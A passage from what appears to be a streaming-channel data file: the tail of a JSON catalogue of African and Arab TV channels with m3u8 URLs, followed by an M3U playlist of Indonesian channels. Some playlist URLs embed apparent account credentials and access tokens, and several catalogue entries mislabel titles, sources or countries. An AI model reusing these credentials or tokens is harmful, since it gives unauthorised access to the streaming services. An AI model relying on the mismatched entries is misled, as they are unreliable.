prière, des reportages, des documentaires, des films ainsi que des séries y sont présentés.","sources":["https://emci-fr-hls.akamaized.net/hls/live/2007265/emcifrhls/index.m3u8"],"subtitle":"By Channel","thumb":"https://www.enseignemoi-files.com/site/view/images/dyn-cache/pages/image/img/23/62/1522940482_236277_1200x630x1.f.jpg?v=2018021301","title":"EMCI TV / Religion"},{"description":"CIS TV est une chaine tv guinéen consacré au sport et à la culture. basée à Conakry, fondé en 2016 par Mamadou Antonio Souaré. CIS TV est diffuse via le satellite Fréquence Tv 3689: Symbole 1083: Satelite eutelsat 10a ZONES DE DIFFUSION : tiers d'Afrique.","sources":["http://51.81.109.113:1935/CDNLIVE/CISTV/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.senegal7.com/wp-content/uploads/2019/03/f9180cb9286c49c4f3a6c793798b9ddf.png","title":"CIS TV / Guinee"},{"description":"Faso TV est une initiative de Magic Communication et Médias, une société à responsabilité limitée basée à Ouagadougou, capitale du Burkina Faso. C’est une chaîne de télévision en ligne destinée à l’événementiel. Nous entendons par événementiel toutes manifestations ou activités à caractère culturel, économique, éducatif ou sportif dont l’objectif est de susciter la mobilisation, l’adhésion, l’engouement de la population ou d’un public cible au plan local, national ou international. Autrement dit, notre stratégie éditoriale consiste à faire la promotion de toutes activités qui contribuent au développement socio-économique et culturel, à l’éducation, au divertissement et au bien être de la population burkinabé et de sa diaspora.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/163893638025530331068059.m3u8"],"subtitle":"By Channel","thumb":"https://fasotv.net/wp-content/uploads/2019/10/logo-final-sans-slogan.png","title":"FASO TV / Burkina Fasso "},{"description":"Plex tv une chaîne généraliste spécialisé dans la retransmissions des événement. émission et qui diffuse aussi des films, musiques, divertissement, sport, magasine etc et une multitude de programme en haute définition.","sources":["http://connectiktv.ddns.net:5000/plextv/@plextv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lifetimepremiumaccounts.com/wp-content/uploads/2019/03/plex-logo.jpg","title":"PLEX TV / "},{"description":"PLAY TV est une chaine de télévision musicale Camerounaise basée à Yaoundé, elle diffuse un programme 100% musicale la musique d’ici et d’ailleurs en haute définition..","sources":["http://connectiktv.ddns.net:5000/playtv/@playtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/logo-play-tv-300x113.jpg","title":"PLAT TV / Cameroune "},{"description":"TVR Rennes 35 Bretagne est une chaîne de télévision locale née en mars 1987 sous le nom de TV Rennes. TVR Rennes 35 Bretagne fut inaugurée à son lancement par le président de la République, elle fut la première télévision locale créée en France elle est diffusée Canal 35 sur la TNT / Canal 30 sur Orange, Freebox et BBox / Canal 95 sur Numéricable et en direct streaming sur son site Internet.","sources":["https://streamtv.cdn.dvmr.fr/TVR/ngrp:tvr.stream_all/master.m3u8"],"subtitle":"By Channel","thumb":"https://w0.pngwave.com/png/890/19/tvr-tv-rennes-35-logo-television-channel-tvr-t350-png-clip-art.png","title":"Rennes TV / France Sports "},{"description":"Chaîne franco-marocaine basée à Tanger et destinée au Maghreb. Programmation culturelle avec information, reportages et documentaires. En arabe et en Français. Fin 2010, elle a également commencé à diffuser à la télévision analogique terrestre au Maroc, en plus de la télévision numérique par satellite. Il a été rebaptisé Medi 1 TV.","sources":["http://streaming.medi1tv.com/live/Medi1tvmaghreb.sdp/chunklist.m3u8"],"subtitle":"By Channel","thumb":"http://www.logotypes101.com/logos/807/C85CC3231EAD10CEC61C182C7DED072D/medi1tvlogo.png","title":"Medi 1 TV / Maroc"},{"description":"M24 Television est la chaîne d’info en continu de l’agence marocaine de presse (MAP). Une chaîne qui couvre l’actualité marocaine et internationale. Une chaîne fidèle aux valeurs de la MAP qui est le premier producteur d'information au Maroc. Le fil de la MAP se décline en cinq langues : Arabe, Amazighe, Français, Anglais et Espagnol. la MAP présente dans toutes les régions du Royaume et dans les cinq continents, elle fournit tous les médias en informations, reportages, analyses et portraits.","sources":["https://www.m24tv.ma/live/smil:OutStream1.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is5-ssl.mzstatic.com/image/thumb/Purple114/v4/e4/c6/3e/e4c63e4e-b8ff-a14e-cacd-3593f09c1f78/source/512x512bb.jpg","title":"M24 TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Al-Fath channel is the property of Sheikh Ahmed Awad Abdo, and is considered the satellite channel of the Islamic religious channels that follow the Sunnah, and offers a series of programs interpretation for the Quran Al-Kareem, and many true prophetic and the CEO is Prof. Ahmed Abdou Awad, the Islamic Scholar.","sources":["https://svs.itworkscdn.net/alfatehlive/fatehtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-alfath-tv.jpg","title":"Al Fath TV / Egypte"},{"description":"Al Hayah started broadcasting in 2008 during the last years of Mubarak's rule, which saw a revival in the ownership of the media. It was founded by businessman El Sayed El Badawi as part of Al Hayah Channels Network. El Badawi assumed the presidency of the Wafd Party from May 2010 until March 2018. El Badawi is one of the businessmen who played political roles in addition to owning media outlets, such as Al Dostor (link to profile). ","sources":["http://media.islamexplained.com:1935/live/_definst_mp4:ahme.stream_360p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/474x/76/1a/a4/761aa46eb54c24d21ca5866f21442426.jpg","title":"Al hayat TV / Maroc"},{"description":"The El Sharq channel broadcasts Various programs, from Egypt country in the Arabic language, last updated time on March 25, 2016. El Sharq which considered to view as a Free to air satellite TV channel.","sources":["https://mn-nl.mncdn.com/elsharq_live/live/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://egytvs.com/wp-content/uploads/2014/06/al-sharq-200x75.jpg","title":"Al sharq TV / Maroc"},{"description":"Guinée TV1 est une chaine de télévision généraliste Guinéenne basée à Conakry. Elle diffuse de la musique des informations des documentaires. des programmes religieux et autre.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/664825404798849938149128.m3u8"],"subtitle":"By Channel","thumb":"https://gtv1love.com/wp-content/uploads/2019/10/logo4.png","title":"GUINEE TV / Guinee "},{"description":"Inooro TV chaînes de télévision généraliste Kényane en langue Kikuyu lancé le 26 octobre 2015. Elle diffuse 24 heures sur 24. Inooro TV est une chaine du groupe Royal Media Services (RMS).","sources":["https://vidcdn.vidgyor.com/inoorotv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://royalmedia.s3.amazonaws.com/wp-content/uploads/2019/10/inoorotv.jpg","title":"INOORO TV / Kenya "},{"description":"Citizen TV Kenya est une station nationale Kényane détenue par Royal Media Services Ltd.Elle diffuse principalement en anglais et en swahili. Elle a été lancé en 1999 et relancé en Juin 2006 c’est la station de télévision avec la plus forte croissance au Kenya avec un fort accent sur ??la programmation locale Basé au Communication Centre,Maalim Juma Road,Off Dennis Pritt Road, Nairobi, 7498-00300.","sources":["https://vidcdn.vidgyor.com/citizentv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.innocirc.com/wp-content/uploads/2017/07/citizen.jpg","title":"CITIZEN TV / Kenya "},{"description":"RTJ TV ( Radio Télévision Jeune ) est une chaine de télévision culturel Sénégalaise. Elle diffuse des programme de divertissement( WatZapp le Zapping), Musique (playlist Mix Afro Mix Zouk Mix Hip Hop Musique sénégalaise), bien être, documentaire, Émission éducatif qui consiste à joindre l’utile à l’agréable à travers l'éducation des enfants, interviews ect.","sources":["http://public.acangroup.org:1935/output/rtjtv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://rtjtv.com/images/rtjtv.png","title":"RTJ TV / Senegal"},{"description":"Mouride tv est une chaine de télévision généraliste sénégalaise basé à touba, Senegal. Mouride tv c’est la télévision base au coeur des événement mourides magal, thiante, wakhtane, khassaide, kourel en direct..","sources":["http://51.81.109.113:1935/Livemouridetv/mouridetv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/sn-mouride-tv.jpg","title":"MOURIDE TV / Senegal"},{"description":"ANN TV est une chaîne d’Informations générales et de Divertissement. Elle est produite par JUUF COMMUNICATION et diffusée sur le site d’informations générales multimédia ANN. La plateforme ANN comporte un journal en ligne (ANN), une WebRadio (ANN FM) et une WebTV (ANN TV).","sources":["http://vod.acangroup.org:1935/output/anntv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://an-news.com/wp-content/uploads/2019/05/aan.png","title":"ANN TV / Senegal"},{"description":"Louga TV est une chaine culturelle et religieuse Senegalaise qui se veut attractive et objective. En temps réel, elle produit des vidéos de qualité qui tiennent compte de la spécificité de l’information et de la crédibilité de ses sources. Également, l’équipe technique et rédactionnelle est constituée de techniciens chevronnés aux compétences avérées. Dans son approche des enjeux de l’information capitale, la chaine louga tv offre des vidéos qui informent, forment et transforment le citoyen dans l’approche de son monde en devenir..","sources":["http://ira.dyndns.tv:8080/live/louga/CAnhiMtR6C/1708.m3u8"],"subtitle":"By Channel","thumb":"https://i.ytimg.com/vi/3Gnt2_SndXw/maxresdefault.jpg","title":"LOUGA TV / Senegal"},{"description":"Dieu TV est une chaine de télévision généraliste chrétienne pour la Francophonie.Elle proclame la Bonne Nouvelle du Salut en Jésus-Christ pour atteindre les 400 millions de Francophones dans le monde. Fondée en 2007. Dieu TV diffuse sur le Satellite Eutelsat 5WA (Europe et Afrique du Nord), et le Satellite Amos 5 et en streaming sur son site interne","sources":["https://katapy.hs.llnwd.net/dieutvwza1/DIEUTVLIVE/smil:dieutv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/fr-dieu-tv.jpg","title":"DIEU TV / Religion "},{"description":"Radio Télévision Hirondelle : La nouvelle couleur du Sud. Elle diffuse des émissions pour divers catégories nouvelles locales, nationales et internationales le sport du monde Entier la musique et videos clips Promotions des artistes Locaux.","sources":["http://play.acwstream.com:2000/live/acw_01/index.m3u8"],"subtitle":"By Channel","thumb":"https://radiotelehirondelle.com/wp-content/uploads/2020/08/logo.png","title":"HIRONDELLE TV"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["https://hbiptv.live/player/sakchotv/index.m3u8"],"subtitle":"By Channel","thumb":"https://image.roku.com/developer_channels/prod/1de97a21d9bd773a115a5467974be0b859d1157256316bd1e72ed48965c0191a.png","title":"BEL TV / Haiti "},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr-prod.shahid.net/masr-prod.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7c/MBC_Masr_Logo.png","title":"MBC MSR 1 / Egypte"},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr2-prod.shahid.net/masr2-prod.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/01/3c/21/013c218c3ce9b3cfc883bdcdb121e5e6.jpg","title":"MBC MSR 2 / Egypte"},{"description":"Mekameleen TV is an Egyptian opposition TV Channel. It is based in Istanbul. It's known to be supportive of the Muslim Brotherhood","sources":["https://mn-nl.mncdn.com/mekameleen/smil:mekameleentv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/12/5b/1f/125b1febb8ada3a4f83475c2643adeb7.jpg","title":"Mekameleen TV / Egypte"},{"description":"The Kingdome Sat is television from Egypte founded in 2009 by Dr. Michael Yousef, the KingdomSat channel aims to introduce written teachings from the East and West to complement the vision given by God to the loss of the faraway and to encourage believers in the Middle East and North Africa region.","sources":["https://bcovlive-a.akamaihd.net/87f7c114719b4646b7c4263c26515cf3/eu-central-1/6008340466001/profile_0/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-kingdom-sat-channe.jpg","title":"The Kingdom Sat TV / Egypt"},{"description":"D5 TV Music est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["https://www.rti.ci/direct_rti2.html"],"subtitle":"By Channel","thumb":"https://d5music.tv/wp-content/uploads/2020/07/cropped-LOGO-D5-MUSIC-BLANCROUGE_carre-192x192.png","title":"RTI 2 TV"},{"description":"A2iTV la chaine 100% immigration Senegalais, qui est née de la synergie de personnes qui ont décidé d’ unir leur force, leur compétence et leur ressources matérielles et financiéres pour participer avec l’aide des nouvelles technologies à informer sur l’ immigration .","sources":["http://51.158.31.93:1935/a2itv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/A2itv_logo.jpg","title":"A2i TV / Senegal"},{"description":"A2i music est une chaine culturelle destinée à la Diaspora avec des programmes musicales et des dramatiques. A2i music couvre aussi les autres parties du monde, notament les Etats Unis, le Canada, l’Asie, etc. à travers les boitiers Roku fournis par AfricaAstv, Acantv, My African pack de Invevo et Sénégal.","sources":["http://51.158.31.93:1935/a2itvtwo/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/a2i-music_logo.jpg","title":"A2i TV / Music "},{"description":"A2i tv Relegion est une chaine culturelle destinée à la Diasporat senegalais avec des programme chretiens.","sources":["http://51.158.31.93:1935/a2itvthree/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/wwumXcAbY83D0q-NgUv2veS-p54FJTq6LAvsPRwYwWo-70ggeDkCM1VdhqhibRQNk4o=s180-rw","title":"A2i TV / Religion "},{"description":"Love World Plus TV is your Christian faith and lifestyle channel destined to bring a new level of dynamism into Christian television programming through satellite and the internet. The reach of LoveWorld Plus is limitless.","sources":["http://hls.live.metacdn.com/2450C7/bedkcjfty/lwplus_628.m3u8"],"subtitle":"By Channel","thumb":"https://d3c5pcohbexzc4.cloudfront.net/videos/thumbs/be214-loveworldplus.jpg","title":"Love World Plus TV"},{"description":"A2i naija est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["http://51.158.31.93:1935/devtv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://image.winudf.com/v2/image/YTVjZW50cy5hMmlfc2NyZWVuXzVfMTUxNTk5NTEyNl8wNTQ/screen-5.jpg?fakeurl=1&type=.jpg","title":"A2i / naija Music"},{"description":"BOK TV is an online and public access variety show and the show's log line what would happen if In Living Color and The Daily Show had a bastard child! BOKTV is what would happen and he show is split into segments: MONOLOGUE, SKETCH, ROUND TABLE, COMMERCIAL, BLACK TWITTER. create a platform of discourse that encourages exchange as opposed to polarity, and to showcase the talents of the host and other cast members.","sources":["http://boktv.interworks.in:1935/live/boktv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://bokradio.co.za/wp-content/uploads/2017/07/button_cameratv.jpg","title":"BOK TV"},{"description":"Salt TV is a Christian television channel station from Uganda. Salt TV is based in Kampala. Matthew 5:13-16 (NKJV) Believers Are Salt and Light 13 You are the salt of the earth, but if the salt loses its flavor, how shall it be seasoned? It is then good for nothing but to be thrown out and trampled underfoot by men.","sources":["http://dcunilive38-lh.akamaihd.net/i/dclive_1@692676/index_150_av-p.m3u8"],"subtitle":"By Channel","thumb":"https://www.saltmedia.ug/images/NOV/SALT-TV.jpg","title":"Salt TV/ Uganda"},{"description":"TFM is Senegal’s privately-owned television channel.Owned by Senegalese musician Youssou N Dour, who owns a major media group in Dakar.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://3.bp.blogspot.com/-eyo4UyKqjlI/WWTobvXxLqI/AAAAAAAAB_g/BFn1KiR6vcYQMilgX4nWhGJHbHMEP_l0ACLcBGAs/s1600/tfm%2Bsenegal.png","title":"TFM TV/ Senegal"},{"description":"Africa tv1 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV1.png","title":"Africa TV 1"},{"description":"Africa tv2 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv2/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV2.png","title":"Africa TV 2"},{"description":"Africa tv3 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains de langue haoussa.","sources":["http://africatv.live.net.sa:1935/live/africatv3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.africagroup.tv/img/bgTV3.png","title":"Africa TV 3"},{"description":"La télévision nationale tunisienne 1 est la chaîne publique nationale tunisienne. Il a été officiellement lancé le 31 mai 1966, mais diffuse des programmes pilotes de manière irrégulière depuis octobre 1965, puis régulièrement depuis janvier 1966 et s’appelle la radio et la télévision tunisienne (ATT). Elle est devenue Channel 7 en 1992 et Tunisia 7 en 1997, mais elle est restée une filiale de la Société tunisienne de radio et de télévision jusqu’en 2008, a conservé le siège qu’elle partageait et la Société tunisienne de télévision avec ses chaînes de télévision nationales tunisiennes et La Tunisie 21 plus tard connue sous le nom de Télévision nationale tunisienne 2 est devenue son nouveau siège. Après le déclenchement de la révolution populaire tunisienne et la défection de zine El Abidine Ben Ali du pays, il est devenu Télévision nationale tunisienne.","sources":["http://54.36.122.126/tunisie1.m3u8"],"subtitle":"By Channel.","thumb":"https://www.histoiredesfax.com/wp-content/uploads/2015/11/Television-nationale-watania.jpg","title":"TUNISIA 1"},{"description":"Sahel TV est la plateforme unique, ouverte à la société civile, aux citoyens et à l'autorité locale de la ville et de sa région pour leur permettre de s’exprimer librement, proposer leurs idées et accéder à toutes les informations économiques, environnementale, culturelle, sportive. Vos idées et vos propositions sont les bienvenues.","sources":["http://142.44.214.231:1935/saheltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://mobiletv.mobibase.com/html/logo/hd/channel_ld_747.png","title":"SAHEL TV / Tunisie"},{"description":"NIGERIA TELEVISION AUTORTEAutorité a commencé sous le nom de Western Nigerian Television Services (WNTV), qui a transmis ses premiers signaux au peuple nigérian et à toute l'Afrique le 31 octobre 1959. Au début de 1962, les trois gouvernements régionaux qui existaient au Nigéria avaient mis en place le Service de télévision nigérian (NTS). Télévision ont été créés et en 1976, l'Autorité de la télévision nigériane est née en tant que seule entité responsable de Diffusion télévisée au Nigéria.","sources":["http://54.38.93.93/nta.m3u8"],"subtitle":"By Channel","thumb":"https://static.squarespace.com/static/53d2a092e4b0125510bfe57d/53d2a2c6e4b018cd23e33d7b/53d2a2c6e4b018cd23e33f6f/1362042333867/1000w/nta.jpg","title":"NTA TV / Nigeria"},{"description":"ESPACE TV est une télévision basée à Conakry dans la commune de Matoto Kondeboungny au bord de l'autoroute Fidèle Castro (République de Guinée). La télé diffuse des informations du pays et du monde en temps réel. Des magazines axés sur les réalités des terroirs et des séries de divertissement. Détenue par le groupe Hadafo Médias, cette chaîne est la première du pays en terme d'audience; selon le rapport de Stat view international en 2019.","sources":["http://46.105.114.82/espacetv.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/ric-bS2gzvt-UyrhBIEdWENN9U-fL9Bnlhv12GEYSzSkZFWEIr7hc74k83kfLPqZDk0","title":"Espace TV / Guinée"},{"description":" Movies Now is an Indian high-definition television channel featuring Hollywood films. It was launched on 19 December 2010 with a picture quality of 1080i and 5.1 surround sound. The channel is owned by The Times Group. It has exclusive content licensing from films produced or distributed by MGM and has content licensing from Universal Studios, Walt Disney Studios, Marvel Studios, 20th Century Studios, Warner Bros and Paramount Pictures.","sources":["https://timesnow.airtel.tv/live/MN_pull/master.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/4/49/Movies_Now_logo.png","title":"Movies Now HD"},{"description":"Tunisie Immobilier TV, la première chaîne de l’immobilier en Tunisie Vous présente toutes les semaines, les actualités immobilières et économiques en Tunisie et dans le monde à travers des reportages.contact; E-mail:tunisieimmob@planet.tn/ Tel:(+216) 71 894500.","sources":["https://5ac31d8a4c9af.streamlock.net/tunimmob/myStream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i2.wp.com/www.tunisieimmobiliertv.net/wp-content/uploads/2016/10/fb.jpg?fit=1024%2C500&ssl=1","title":"Tunisie Immobilier TV"}]}]}
sugeth
#EXTM3U #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", JITV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/132.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", CNN INDONESIA http://188.40.76.108:25461/live/mytv01/uSIRzmks51/135.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", JAKARTA GLOBE NEWS http://188.40.76.108:25461/live/mytv01/uSIRzmks51/136.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", BERITA SATU http://188.40.76.108:25461/live/mytv01/uSIRzmks51/137.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", iNews http://188.40.76.108:25461/live/mytv01/uSIRzmks51/138.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", METRO TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/142.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", MNC TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/143.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", GTV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/144.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", RCTI http://188.40.76.108:25461/live/mytv01/uSIRzmks51/148.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", TRANS TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/150.ts #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", GTV https://vcdn2.rctiplus.id/live/eds/gtv_fta/live_fta/gtv_fta-avc1_1000000=3-mp4a_64000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", MNC https://vcdn2.rctiplus.id/live/eds/mnctv_fta/live_fta/mnctv_fta-avc1_1000000=3-mp4a_64000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", RCTI https://vcdn2.rctiplus.id/live/eds/rcti_fta/live_fta/rcti_fta-avc1_1000000=3-mp4a_64000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", INEWS https://vcdn2.rctiplus.id/live/eds/inews_fta/live_fta/inews_fta-avc1_1000000=3-mp4a_64000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", ANTV http://210.210.155.35/qwr9ew/s/s07/02.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", SCTV http://210.210.155.35/qwr9ew/s/s03/02.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", INDOSIAR http://210.210.155.35/qwr9ew/s/s04/02.m3u8?app_type=mobile&userid=2m4n6yjvyen&tkn=KRHYTUJF1CXB6NERN2PF249FY9E1XFRK&chname=Indosiar #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", NET http://210.210.155.35/qwr9ew/s/s08/02.m3u8?app_type=mobile&userid=2m4n6yjvyen&tkn=KRHYTUJF1CXB6NERN2PF249FY9E1XFRK&chname=NET. #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TRANS 7 http://210.210.155.35:80/qwr9ew/s/s101/02.m3u8?app_type=mobile&userid=2m4n6yjvyen&tkn=CURG2HD4BSEXBXU0R06QXEJWCRIVSOFC&chname=Trans7 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TV ONE http://210.210.155.35:80/qwr9ew/s/s105/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TRANS TV http://210.210.155.35:80/x6bnqe/s/s252/02.m3u8?app_type=mobile&userid=2m4n6yjvyen&tkn=CURG2HD4BSEXBXU0R06QXEJWCRIVSOFC&chname=Trans_TV #EXTINF:-1 tvg-logo="http://3.bp.blogspot.com/-Wr4Rkqj06zY/UfXxmjl4HkI/AAAAAAAAA2g/t-hzB8FGdnQ/s1600/lebaran2.gif" group-title="INDONESIA",RTV http://210.210.155.35/qwr9ew/s/s12/02.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", METRO TV HD http://edge.metroTVnews.com:1935/live-edge/smil:metro.smil/master.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TVRI NASIONAL http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRINASIONAL)/Stream(04)/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TVRI DKI JAKARTA http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRIDKI)/Stream(03)/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TVRI BUDAYA http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRI3)/Stream(03)/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", BERITASATU http://edge.linknetott.swiftserve.com/live/BsNew/amlst:beritasatunewsbs/chunklist_b846000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", ID KU https://cdn-accedo-01.akamaized.net:443/Content/DASH/Live/channel(9c829723-9b34-49fd-bce4-53efa462576b)/manifest.mpd #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA",USEE PRIME https://cdn-accedo-01.akamaized.net:443/Content/DASH/Live/channel(e7243cff-628b-45a9-8361-11bade1e6021)/manifest.mpd #EXTINF:-1 